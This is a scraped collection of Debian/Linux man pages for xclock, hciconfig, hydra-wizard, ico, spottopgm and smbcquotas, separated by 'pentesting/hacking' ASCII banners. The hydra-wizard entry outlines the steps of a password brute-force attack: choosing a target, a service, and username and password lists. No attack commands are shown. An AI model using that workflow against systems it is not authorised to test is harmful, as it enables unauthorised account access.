xclock [ -help ] [ -analog | -digital ] [ -brief ] [ -chime ] [ -hd color ] [ -hl color ] [ -update seconds ] [ -strftime format ] [ -twelve | -twentyfour | -utime ] [ -padding number ] [ -norender ] [ -render ] [ -sharp ] [ -face pattern ]

DESCRIPTION

The xclock program displays the time in analog or digital form. The time is continuously updated at a frequency which may be specified by the user.

OPTIONS

Xclock accepts all of the standard X Toolkit command line options along with the additional options listed below:

-help
This option indicates that a brief summary of the allowed options should be printed on the standard error.

-analog
This option indicates that a conventional 12 hour clock face with tick marks and hands should be used. This is the default.

-digital or -d
This option indicates that a 24 hour digital clock should be used.

-brief
This option indicates that the digital clock should only display the hours and minutes fields. The default is to show the full time and date information.

-utime
This option indicates that a digital clock should display seconds since the Epoch (in format ‘970012340 seconds since Epoch’ instead of a standard 24-hour time.

-strftime format
This option allows an strftime(3) format string to be specified for the digital clock’s display.

-twelve
This option indicates that a digital clock should display the time in twelve hour format. This is only effective for the brief display.

-twentyfour
This option indicates that a digital clock should display the time in twenty-four hour format. This is only effective for the brief display. This is the default when a digital clock is used.

-chime
This option indicates that the clock should chime once on the half hour and twice on the hour.

-hands color (or -hd color)
This option specifies the color of the hands on an analog clock. The default is black. This option is effectively ignored when Xrender is in use.

-highlight color (or -hl color)
This option specifies the color of the edges of the hands on an analog clock, and is only useful on color displays. The default is black. This option is effectively ignored when Xrender is in use.

-update seconds
This option specifies the frequency in seconds at which xclock should update its display. If the clock is obscured and then exposed, it will be updated immediately. A value of 30 seconds or less will enable a second hand on an analog clock. The default is 60 seconds.

-padding number
This option specifies the width in pixels of the padding between the window border and clock text or picture. The default is 10 on a digital clock and 8 on an analog clock.

-render
This option tells xclock to use the Xrender extension to draw an anti-aliased face. This is the default if xclock has been compiled with Xrender support. Note that the color selection options and resources used when Xrender is in effect differ from the standard options.

-norender
This option turns off the use of Xrender to draw the clock.

-sharp
This option tells xclock to use sharper edges when drawn using the Xrender extension.

-face pattern
This option specifies the font to use in digital mode when the Xrender extension is used. Patterns are specified using the fontconfig face format described in the Font Names section of fonts.conf(5).

X DEFAULTS

This program uses the Clock widget. It understands all of the core resource names and classes as well as:

width (class Width)
Specifies the width of the clock. The default for analog clocks is 164 pixels; the default for digital clocks is whatever is needed to hold the clock when displayed in the chosen font.

height (class Height)
Specifies the height of the clock. The default for analog clocks is 164 pixels; the default for digital clocks is whatever is needed to hold the clock when displayed in the chosen font.

update (class Interval)
Specifies the frequency in seconds at which the time should be redisplayed.

foreground (class Foreground)
Specifies the color for the tick marks. The default depends on whether reverseVideo is specified. If reverseVideo is specified the default is lwhite**, otherwise the default is** black**.**

hands (class Foreground)
Specifies the color of the insides of the clock’s hands. The default depends on whether reverseVideo is specified. If reverseVideo is specified the default is lwhite**, otherwise the default is** black**.** Note that this resource is not used when Xrender is in effect.

highlight (class Foreground)
Specifies the color used to highlight the clock’s hands. The default is depends on whether reverseVideo is specified. If reverseVideo is specified the default is lwhite**, otherwise the default is** black**.** Note that this resource is not used when Xrender is in effect.

analog (class Boolean)
Specifies whether or not an analog clock should be used instead of a digital one. The default is True.

twentyfour (class Boolean)
Specifies whether or not a digital clock should display the time in twenty-four hour format. The default is True.

chime (class Boolean)
Specifies whether or not a bell should be rung on the hour and half hour.

padding (class Margin)
Specifies the amount of internal padding in pixels to be used. The default is 8.

font (class Font)
Specifies the font to be used for the digital clock. Note that variable width fonts currently will not always display correctly. This font is only used when Xrender is not in effect.

render (class Boolean)
Specifies whether or not the Xrender extension should be used for the display. The default is True if xclock has been compiled with Xrender support.

When Xrender is in effect, the following additional resources are understood:

face (class FaceName)
Specify the pattern for the font to be used for the digital clock when Xrender is used. Patterns are specified using the fontconfig face format described in the Font Names section of fonts.conf(5).

sharp (class Boolean)
Specifies if sharp edges should be used when rendering the clock. The default is False.

buffer (class Boolean)
Specifies that the updates of the image are drawn to a pixmap before copied into the window instead drawing them into the window directly.

The defaults of the following color resources depend on whether reverseVideo is specified. If reverseVideo is specified the default is lwhite**,** otherwise the default is black**.**

hourColor (class Foreground)
The color of the hour hand.

minuteColor (class Foreground)
The color of the minute hand.

secondColor (class Foreground)
The color of the second hand.

majorColor (class Foreground)
The color of the major scale ticks (i. e. each five minutes).

minorColor (class Foreground)
The color of the minor scale ticks (between major ticks).

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xclock. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XClock  xclock
        Clock  clock

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/XClock
specifies required resources

SEE ALSO

X(7), xrdb(1), time(3), fonts.conf (5).

BUGS

Xclock believes the system clock.

When in digital mode, the string should be centered automatically.

AUTHORS

Tony Della Fera (MIT-Athena, DEC)
Dave Mankins (MIT-Athena, BBN)
Ed Moy (UC Berkeley)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2184 - Linux cli command hciconfig

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hciconfig and provides detailed information about the command hciconfig, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hciconfig.

NAME 🖥️ hciconfig 🖥️

Configure Bluetooth devices

SYNOPSIS

hciconfig -h

hciconfig [-a]

hciconfig [-a] hciX [COMMAND [PARAMETERS]]

DESCRIPTION

hciconfig(1) is used to configure Bluetooth devices. hciX is the name of a Bluetooth device installed in the system. If hciX is not given, hciconfig prints name and basic information about all the Bluetooth devices installed in the system.

If hciX is given but no command is given, it prints basic information on device hciX only. Basic information is interface type, BD address, ACL MTU, SCO MTU, flags (up, init, running, raw, page scan enabled, inquiry scan enabled, inquiry, authentication enabled, encryption enabled).

OPTIONS

-a, –all**
Print features, packet type, link policy, link mode, class, Version other than the basic info.

-h, –help**
Show help options

COMMANDS

up
Open and initialize HCI device.

down
Close HCI device.

reset
Reset HCI device.

rstat
Reset statistic counters.

auth
Enable authentication (sets device to security mode 3).

noauth
Disable authentication.

encrypt
Enable encryption (sets device to security mode 3).

noencrypt
Disable encryption.

secmgr
Enable security manager (current kernel support is limited).

nosecmgr
Disable security manager.

piscan
Enable page and inquiry scan.

noscan
Disable page and inquiry scan.

iscan
Enable inquiry scan, disable page scan.

pscan
Enable page scan, disable inquiry scan.

ptype [type]****
With no type , displays the current packet types. Otherwise, all the packet types specified by type are set. type is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3.

name [name]****
With no name**, prints local name. Otherwise, sets local name to** name**.**

class [class]****
With no class**, prints class of device. Otherwise, sets class of device** to class**.** class is a 24-bit hex number describing the class of device, as specified in section 1.2 of the Bluetooth Assigned Numers document.

voice [voice]****
With no voice**, prints voice setting. Otherwise, sets voice setting to** voice**.** voice is a 16-bit hex number describing the voice setting.

iac [iac]****
With no iac**, prints the current IAC setting. Otherwise, sets the IAC to** iac**.**

inqtpl [level]****
With no level**, prints out the current inquiry transmit power level.** Otherwise, sets inquiry transmit power level to level**.**

inqmode [mode]****

With no mode**, prints out the current inquiry mode. Otherwise, sets** inquiry mode to mode**.**

_
modeDescription
_
0Standard Inquiry
_
1Inquiry with RSSI
_
2Inquiry with RSSI or Extended Inquiry
_

inqdata [data]****
With no data**, prints out the current inquiry data. Otherwise, sets** inquiry data to data**.**

inqtype [type]****
With no type**, prints out the current inquiry scan type. Otherwise, sets** inquiry scan type to type**.**

inqparams [win:int]****
With no win:int**, prints inquiry scan window and interval. Otherwise,** sets inquiry scan window to win slots and inquiry scan interval to int slots.

pageparms [win:int]****
With no win:int**, prints page scan window and interval. Otherwise,** sets page scan window to win slots and page scan interval to int slots.

pageto [to]****
With no to**, prints page timeout. Otherwise, sets page timeout** to to slots.

afhmode [mode]****
With no mode**, prints out the current AFH mode. Otherwise, sets AFH mode** to mode**.**

_
modeDescription
_
0Enable
_
1Disable
_

sspmode [mode]****
With no mode**, prints out the current Simple Pairing mode. Otherwise,** sets Simple Pairing mode to mode**.**

_
modeDescription
_
0Enable
_
1Disable
_

aclmtu mtu:pkt
Sets ACL MTU to mtu bytes and ACL buffer size to pkt packets.

scomtu mtu:pkt
Sets SCO MTU to mtu bytes and SCO buffer size to pkt packets.

delkey <bdaddr>****
This command deletes the stored link key for bdaddr from the device.

oobdata
Get local OOB data (invalidates previously read data).

commands
Display supported commands.

features
Display device features.

version
Display version information.

revision
Display revision information.

lm [mode]****
With no mode**, prints link mode. CENTRAL or PERIPHERAL mean,** respectively, to ask to become central or to remain peripheral when a connection request comes in. The additional keyword ACCEPT means that baseband connections will be accepted even if there are no listening AF_BLUETOOTH sockets. mode is NONE or a comma-separated list of keywords, where possible keywords are CENTRAL and ACCEPT. NONE sets link policy to the default behaviour of remaining peripheral and not accepting baseband connections when there are no listening AF_BLUETOOTH sockets. If CENTRAL is present, the device will ask to become central if a connection request comes in. If ACCEPT is present, the device will accept baseband connections even when there are no listening AF_BLUETOOTH sockets.

block <bdaddr>****
Add a device to the reject list

unblock <bdaddr>****
Remove a device from the reject list

lerandaddr <bdaddr>****
Set LE Random Address

leadv [type]****
Enable LE Advertising.

_
typeDescription
_
0Connectable undirected advertising (default)
_
3Non connectable undirected advertising
_

noleadv
Disable LE Advertising

lestates
Display the supported LE states

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Marcel Holtmann <[email protected]>, Fabrizio Gennari <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2185 - Linux cli command hydra-wizard

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hydra-wizard and provides detailed information about the command hydra-wizard, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hydra-wizard.

NAME 🖥️ hydra-wizard 🖥️

WIZARD - Wizard to use hydra from command line

DESCRIPTION

This script guide users to use hydra, with a simple wizard that will make the necessary questions to launch hydra from command line a fast and easily

  1. The wizard ask for the service to attack
  2. The target to attack
  3. The username o file with the username what use to attack
  4. The password o file with the passwords what use to attack
  5. The wizard ask if you want to test for passwords same as login, null or reverse login
  6. The wizard ask for the port number to attack
    Finally, the wizard show the resume information of attack, and ask if you want launch attack

SEE ALSO

hydra(1), dpl4hydra(1),

AUTHOR

hydra-wizard was written by Shivang Desai <[email protected]>.

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2186 - Linux cli command ico

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ico and provides detailed information about the command ico, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ico.

NAME 🖥️ ico 🖥️

animate an icosahedron or other polyhedron

SYNOPSIS

ico [-display display] [-geometry geometry] [-r] [-d pattern] [-i] [-dbl] [-faces] [-noedges] [-sleep n] [-obj object] [-colors color-list]

ico -objhelp

ico -version

DESCRIPTION

Ico displays a wire-frame rotating polyhedron, with hidden lines removed, or a solid-fill polyhedron with hidden faces removed. There are a number of different polyhedra available; adding a new polyhedron to the program is quite simple.

OPTIONS

-r
Display on the root window instead of creating a new window.

-d pattern
Specify a bit pattern for drawing dashed lines for wire frames.

-i
Use inverted colors for wire frames.

-dbl
Use double buffering on the display. This works for either wire frame or solid fill drawings. For solid fill drawings, using this switch results in substantially smoother movement. Note that this requires twice as many bit planes as without double buffering. Since some colors are typically allocated by other programs, most eight-bit-plane displays will probably be limited to eight colors when using double buffering.

-faces
Draw filled faces instead of wire frames.

-noedges
Don’t draw the wire frames. Typically used only when -faces is used.

-sleep n
Sleep n seconds between each move of the object.

-obj object
Specify what object to draw. If no object is specified, an icosahedron is drawn.

-objhelp
Print out a list of the available objects, along with information about each object.

-colors color color …
Specify what colors should be used to draw the filled faces of the object. If less colors than faces are given, the colors are reused.

-version
Print program version information and exit.

PROGRAM TERMINATION

Pressing “q” will close a window. If compiled with threads support, the program will stop only when all threads terminate. You can also close an animation window using the ICCCM delete message (depending on your window manager, you will have a decoration button or menu to send such message).

ADDING POLYHEDRA

If you have the source to ico, it is very easy to add more polyhedra. Each polyhedron is defined in an include file by the name of objXXX.h, where XXX is something related to the name of the polyhedron. The format of the include file is defined in the file polyinfo.h. Look at the file objcube.h to see what the exact format of an objXXX.h file should be, then create your objXXX.h file in that format.

After making the new objXXX.h file (or copying in a new one from elsewhere), simply do a ‘make depend’. This will recreate the file allobjs.h, which lists all of the objXXX.h files. Doing a ‘make’ after this will rebuild ico with the new object information.

SEE ALSO

X(7)

BUGS

Pyramids and tetrahedrons with filled faces do not display correctly.

A separate color cell is allocated for each name in the -colors list, even when the same name may be specified twice. Color allocation fails in TrueColor displays and option -faces does not work well.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2187 - Linux cli command spottopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spottopgm and provides detailed information about the command spottopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spottopgm.

.

NAME 🖥️ spottopgm 🖥️

convert SPOT satellite images to a PGM image

SYNOPSIS

spottopgm [-1|-2|-3] [Firstcol Firstline Lastcol Lastline] inputfile

DESCRIPTION

This program is part of Netpbm(1) .

spottopgm converts the named inputfile to PGM format, defaulting to the first color and the whole SPOT image unless you specify otherwise with the options.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), spottopgm recognizes the following command line options:

-1
-2
-3
Extract the given color from the SPOT image. The colors are infrared, visible light, and ultraviolet, although I don’t know which corresponds to which number. If the image is in color, spottopgm announces this on Standard Error. The default color is 1.

PARAMETERS

Firstcol Firstline Lastcol Lastline
Extract the specified rectangle from the SPOT image. Most SPOT images are 3000 lines long and 3000 or more columns wide. Unfortunately, the SPOT format only gives the width and not the length. The width is printed on standard error. The default rectangle is the width of the input image by 3000 lines.

LIMITATIONS

spottopgm doesn’t determine the length of the input file; this would involve two passes over the input file. It defaults to 3000 lines instead.

spottopgm could extract a three-color image (as a PPM), but I didn’t feel like making the program more complicated than it is now. Besides, there is no one-to-one correspondence between red, green, blue and infrared, visible and ultraviolet.

I’ve had only a limited number of SPOT images to play with, and therefore wouldn’t guarantee that this will work on any other images.

AUTHOR

Warren Toomey [email protected]

SEE ALSO

pgm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/spottopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2188 - Linux cli command smbcquotas

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbcquotas and provides detailed information about the command smbcquotas, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbcquotas.

NAME 🖥️ smbcquotas 🖥️

Set or get QUOTAs of NTFS 5 shares

SYNOPSIS

smbcquotas {//server/share} [-u|–quota-user=USER] [-L|–list] [-F|–fs] [-S|–set=SETSTRING] [-n|–numeric] [-v|–verbose] [-t|–test-args] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version]

DESCRIPTION

This tool is part of the samba(7) suite.

The smbcquotas program manipulates NT Quotas on SMB file shares.

OPTIONS

The following options are available to the smbcquotas program.

-u|–quota-user user

Specifies the user of whom the quotas are get or set. By default the current users username will be used.

-L|–list

Lists all quota records of the share.

-F|–fs

Show the share quota status and default limits.

-S|–set QUOTA_SET_COMMAND

This command sets/modifies quotas for a user or on the share, depending on the QUOTA_SET_COMMAND parameter which is described later.

-n|–numeric

This option displays all QUOTA information in numeric format. The default is to convert SIDs to names and QUOTA limits to a readable string format.

-t|–test-args

Dont actually do anything, only validate the correctness of the arguments.

-v|–verbose

Be verbose.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

QUOTA_SET_COMMAND

The format of an the QUOTA_SET_COMMAND is an operation name followed by a set of parameters specific to that operation.

To set user quotas for the user specified by -u or for the current username:

UQLIM:<username>:<softlimit>/<hardlimit>

To set the default quotas for a share:

FSQLIM:<softlimit>/<hardlimit>

To change the share quota settings:

FSQFLAGS:QUOTA_ENABLED/DENY_DISK/LOG_SOFTLIMIT/LOG_HARD_LIMIT

All limits are specified as a number of bytes.

EXIT STATUS

The smbcquotas program sets the exit status depending on the success or otherwise of the operations performed. The exit status may be one of the following values.

If the operation succeeded, smbcquotas returns an exit status of 0. If smbcquotas couldnt connect to the specified server, or when there was an error getting or setting the quota(s), an exit status of 1 is returned. If there was an error parsing any command line arguments, an exit status of 2 is returned.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

smbcquotas was written by Stefan Metzmacher.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

